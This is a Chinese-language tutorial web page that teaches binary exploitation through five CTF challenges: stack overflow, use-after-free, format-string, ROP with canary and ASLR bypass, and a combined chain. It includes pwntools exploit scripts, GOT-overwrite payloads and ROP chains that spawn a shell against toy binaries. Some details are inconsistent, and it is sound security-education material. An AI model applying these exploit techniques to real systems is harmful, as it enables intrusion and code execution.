当前位置: 首页 > news >正文

告别枯燥理论:用5个趣味CTF-PWN挑战快速上手栈溢出、UAF和格式化字符串漏洞

从游戏到实战:5个趣味CTF挑战带你玩转二进制漏洞

在数字世界的隐秘角落,二进制漏洞如同沉睡的巨龙,等待着勇敢的探险者去唤醒。不同于枯燥的理论讲解,我们将通过五个精心设计的CTF挑战,让你在破解flag的乐趣中掌握栈溢出、UAF和格式化字符串等核心漏洞原理。每个挑战都像是一个独立的解谜游戏,从简单的登录程序破解到复杂的记事本漏洞利用,逐步构建你的二进制安全实战能力。

1. 破解简易登录程序:初识栈溢出

想象你面对一个看似简单的登录界面,只需要输入正确的用户名和密码就能获得flag。但当你反编译这个程序时,会发现一个有趣的漏洞——它使用不安全的strcpy函数来处理用户输入。

void login() { char password[16]; printf("Enter password: "); gets(password); // 危险的函数调用 if(strcmp(password, "secret123") == 0) { printf("Access granted!\n"); } else { printf("Access denied!\n"); } }

挑战步骤:

  1. 使用checksec检查程序保护机制:

    checksec ./login_program
  2. 通过故意输入超长字符串触发崩溃,确定溢出点:

    python -c 'print("A"*100)' | ./login_program
  3. 计算精确的偏移量,找到覆盖返回地址的位置。使用GDB和cyclic模式可以快速定位:

    gdb -q ./login_program run < <(cyclic 100)
  4. 构造payload,将返回地址覆盖为后门函数地址或shellcode位置。一个典型的payload结构如下:

    组成部分内容
    填充数据'A'*偏移量
    返回地址目标地址(小端格式)
    shellcode可选的机器指令
  5. 使用pwntools自动化攻击过程:

    from pwn import * p = process('./login_program') payload = b'A'*24 + p32(0x0804853b) # 假设0x0804853b是后门函数地址 p.sendline(payload) p.interactive()

提示:在32位系统中,函数返回地址通常位于EBP+4的位置。通过计算缓冲区起始地址到EBP的距离,再加上4字节,就能得到覆盖返回地址所需的偏移量。

完成这个挑战后,你会理解栈的基本结构、函数调用约定以及如何利用缓冲区溢出控制程序执行流。这是二进制安全的"Hello World",也是后续更复杂漏洞利用的基础。

2. 记事本应用的缺陷:深入理解堆漏洞

第二个挑战模拟了一个存在UAF(Use-After-Free)漏洞的简易记事本应用。这个程序允许用户分配、编辑和释放笔记,但存在一个关键缺陷——在释放笔记后没有清空指针。

struct Note { char *content; void (*print)(char *); }; void free_note(struct Note *note) { free(note->content); // 释放内容缓冲区 free(note); // 释放note结构体 // 但没有将指针置NULL }

利用思路:

  1. 分配两个note:noteA和noteB
  2. 释放noteA,此时noteA的内存被归还到堆管理器
  3. 立即分配noteC,由于堆分配策略,noteC很可能会重用noteA的内存
  4. 如果noteA的指针仍然可用,通过它修改noteC的内容

实际操作步骤:

  1. 分析程序功能,确定UAF存在点:

    gdb-peda$ disas free_note
  2. 构造堆布局,实现"占坑":

    alloc(0, 64) # note0 alloc(1, 64) # note1 free(0) # 释放note0 alloc(2, 64) # note2会重用note0的内存
  3. 通过残留指针修改关键数据。例如,如果note结构体包含函数指针,可以将其覆盖为恶意地址:

    payload = p32(0x0804853b) # 目标地址 edit(0, payload) # 通过note0的残留指针修改note2的内容
  4. 触发漏洞执行流程:

    print_note(2) # 调用被覆盖的函数指针

这个挑战展示了堆管理的内部机制和UAF漏洞的威力。理解这些概念对分析现代浏览器漏洞尤为重要,因为UAF是浏览器漏洞中最常见的类型之一。

3. 密码恢复工具:格式化字符串漏洞实战

第三个挑战是一个声称能恢复密码的工具,但实际上它存在格式化字符串漏洞。程序会将用户输入直接传递给printf函数,这给了我们读取内存和写入内存的能力。

void recover_password() { char input[256]; printf("Enter recovery token: "); fgets(input, sizeof(input), stdin); printf(input); // 漏洞点 printf("\nPassword recovered: %s\n", get_password()); }

漏洞利用分为两个阶段:

内存读取阶段

  1. 使用%x%p逐步读取栈上数据:

    ./recover_tool Enter recovery token: %08x.%08x.%08x.%08x
  2. 定位敏感数据位置,如密码或canary值:

    for i in range(1, 20): print(f"Trying offset {i}") p = process('./recover_tool') p.sendline(f"%{i}$p") print(p.recv()) p.close()

内存写入阶段

  1. 确定要写入的地址(如GOT表中的exit函数地址)

  2. 使用%n格式符向该地址写入数据:

    exit_got = 0x0804a01c payload = p32(exit_got) + b"%10$n" # 将4字节写入exit_got地址
  3. 精确控制写入的值(可能需要多次写入):

    # 写入0x0804853b到exit_got bytes_to_write = 0x853b payload = p32(exit_got) + p32(exit_got+2) payload += f"%{0x853b-8}x%10$hn".encode() payload += f"%{0x10804-0x853b}x%11$hn".encode()

注意:格式化字符串漏洞的利用高度依赖于目标系统和编译选项。在实践时需要考虑字节序、地址对齐等因素。

完成这个挑战后,你将掌握格式化字符串的强大能力,不仅能读取程序内存中的敏感信息,还能修改关键数据控制程序执行流程。

4. 竞速游戏破解:ROP技术实战

第四个挑战模拟了一个简单的竞速游戏,玩家需要完成特定条件才能获得flag。通过逆向工程,我们发现程序使用了栈保护机制(Canary和NX),传统的栈溢出方法不再适用。

void race() { char name[32]; int score = 0; printf("Enter your name: "); gets(name); // 漏洞点,但栈有保护 // 游戏逻辑... }

绕过保护机制的ROP技术:

  1. 泄露canary值和libc基址:

    # 部分覆盖canary的最低字节,通过响应判断正确值 for i in range(256): p = process('./race_game') p.send(b'A'*32 + bytes([i])) try: print(p.recv()) print(f"Found canary byte: {i}") break except: pass p.close()
  2. 构建ROP链调用系统函数:

    pop_rdi = 0x4008d3 # pop rdi; ret binsh = next(libc.search(b'/bin/sh')) system = libc.sym['system'] payload = b'A'*32 + p64(canary) + b'B'*8 payload += p64(pop_rdi) + p64(binsh) payload += p64(system)
  3. 如果ASLR开启,需要先泄露libc地址:

    # 泄露puts的GOT表项 rop = ROP(elf) rop.puts(elf.got['puts']) rop.call(elf.sym['main']) # 返回main函数进行二次利用

现代二进制漏洞利用中的常见防护与绕过方法:

防护机制原理绕过方法
NX (No Execute)数据段不可执行ROP/JOP技术
ASLR (Address Space Layout Randomization)随机化内存布局信息泄露、暴力破解
Stack Canary栈上插入校验值信息泄露、部分覆盖
RELRO (Relocation Read-Only)限制GOT表修改其他代码复用技术

这个挑战将带你进入现代二进制漏洞利用的核心领域。即使面对各种防护机制,通过巧妙的代码复用技术,仍然可以实现攻击目标。

5. 综合挑战:漏洞组合利用

最后的挑战是一个综合性的应用程序,集成了多种漏洞类型。要获得flag,需要结合前面学到的所有技术,包括:

  1. 通过格式化字符串泄露内存布局
  2. 利用堆漏洞修改关键数据结构
  3. 使用ROP技术绕过防护
  4. 最终获取系统shell或直接读取flag文件

分阶段攻击流程:

  1. 信息收集阶段

    • 使用checksec分析防护机制
    • 逆向工程确定漏洞点和潜在利用路径
    • 泄露地址空间布局和关键数据
  2. 初始利用阶段

    • 通过格式化字符串或堆漏洞获取初步控制
    • 绕过canary和ASLR
  3. 权限提升阶段

    • 构造ROP链实现任意代码执行
    • 或者修改程序逻辑直接输出flag
  4. 稳定利用阶段

    • 将攻击过程自动化
    • 处理可能的边缘情况
from pwn import * context.arch = 'amd64' def exploit(): # 阶段1:泄露canary和libc地址 p = process('./final_challenge') p.sendlineafter('> ', '%23$p.%25$p') leaks = p.recvuntil('\n').split(b'.') canary = int(leaks[0], 16) libc_start_main = int(leaks[1], 16) - 231 libc.address = libc_start_main - libc.sym['__libc_start_main'] # 阶段2:构造ROP链 rop = ROP([elf, libc]) rop.system(next(libc.search(b'/bin/sh'))) # 阶段3:触发漏洞 payload = b'A'*72 + p64(canary) + b'B'*8 + rop.chain() p.sendlineafter('> ', payload) # 获取shell p.interactive() if __name__ == '__main__': exploit()

通过这五个循序渐进的挑战,你不仅掌握了栈溢出、堆漏洞和格式化字符串等核心漏洞的利用技术,还学会了如何绕过现代操作系统的各种防护机制。真正的二进制安全研究远不止于此,但这些挑战已经为你奠定了坚实的实战基础。

http://www.jsqmd.com/news/856802/

相关文章:

  • AI写论文大揭秘!这4款AI论文写作神器,高效产出高质量论文!
  • 为什么90%的书评作者正在悄悄淘汰ChatGPT?Perplexity书评辅助的4个不可替代性优势
  • 面向时序冗余的自适应高效时空动作检测算法研究
  • STM32F407 UART4串口DMA收发实战:告别频繁中断,用空闲中断+DMA搞定不定长数据
  • 企业大模型时代的网络架构五层演进:从连接到智能的范式重构
  • 别再死记硬背了!我用这套‘记忆宫殿’法,一周搞定软考高项624条ITTO
  • STC32G单片机GPIO配置避坑指南:从准双向口到高阻输入,实测驱动LED亮度差异
  • 避开这些坑!GD32F103定时器(TIMER)实战配置避坑指南与高级技巧
  • 2026年|降AI/AIGC率保姆级指南:从底层逻辑到工具推荐,亲测80%降至10%! - 降AI实验室
  • 百度网盘直链解析工具:三步实现全速下载的终极方案
  • 从HAL库到标准库:手把手教你移植微雪AS7341光谱传感器驱动到STM32F103(附完整代码)
  • 终极指南:如何快速为Android Studio安装中文界面语言包
  • Android动漫观影神器Hanime1Plugin:打造纯净无干扰的极致体验
  • 从B站视频到可编辑文字:bili2text如何解决内容创作者的信息提取困境
  • 多云部署:实现跨云平台的应用部署
  • 从游戏策划到疫情分析:SIR模型如何帮你预测产品用户增长?
  • 别再问SAP权限怎么配了!从MM01物料创建权限入手,5分钟搞懂PFCG角色配置核心逻辑
  • 工业边缘控制器MPC-ZC1开发环境搭建全攻略:从交叉编译到AWStudio配置
  • 【2024全球重大社会事件回溯实证】:Perplexity搜索结果偏差率对比测试(含Reuters、AP、路透中文网基准数据)
  • 嵌入式Linux综合项目:模拟倒车影像系统开发全解析
  • 保姆级教程:从ArcGIS处理到Blender建模,手把手教你将DEM数据变成可打印的glTF三维地形模型
  • KEIL MDK5.12/5.13升级后,编译报错找不到core_cm3.h?一个懒人终极解决方案
  • MATLAB新手也能搞定:手把手教你搭建OFDM-QPSK通信链路仿真(附完整代码和星座图分析)
  • Java内存模型与happens-before规则
  • Perplexity事实核查结果不可信?揭秘其底层知识图谱更新滞后117天的关键证据(含时间戳比对表)
  • 如何高效使用Python自动化剪映:专业开源工具实战指南
  • 【AI面试八股文 Vol.2 | Skills / Plugins / Agents】技能系统工程化:从三层能力模型到 Manifest、GitHub 同步与版本治理
  • 中国存储大举扩产,韩国存储大赚钱的美梦即将破灭,韩国制造的哀伤
  • 从PostgreSQL老手视角:快速上手华为GaussDB极简版,这些操作习惯几乎一样
  • 【2026 最新】Kali Linux 零基础学习教程(超详细・全流程)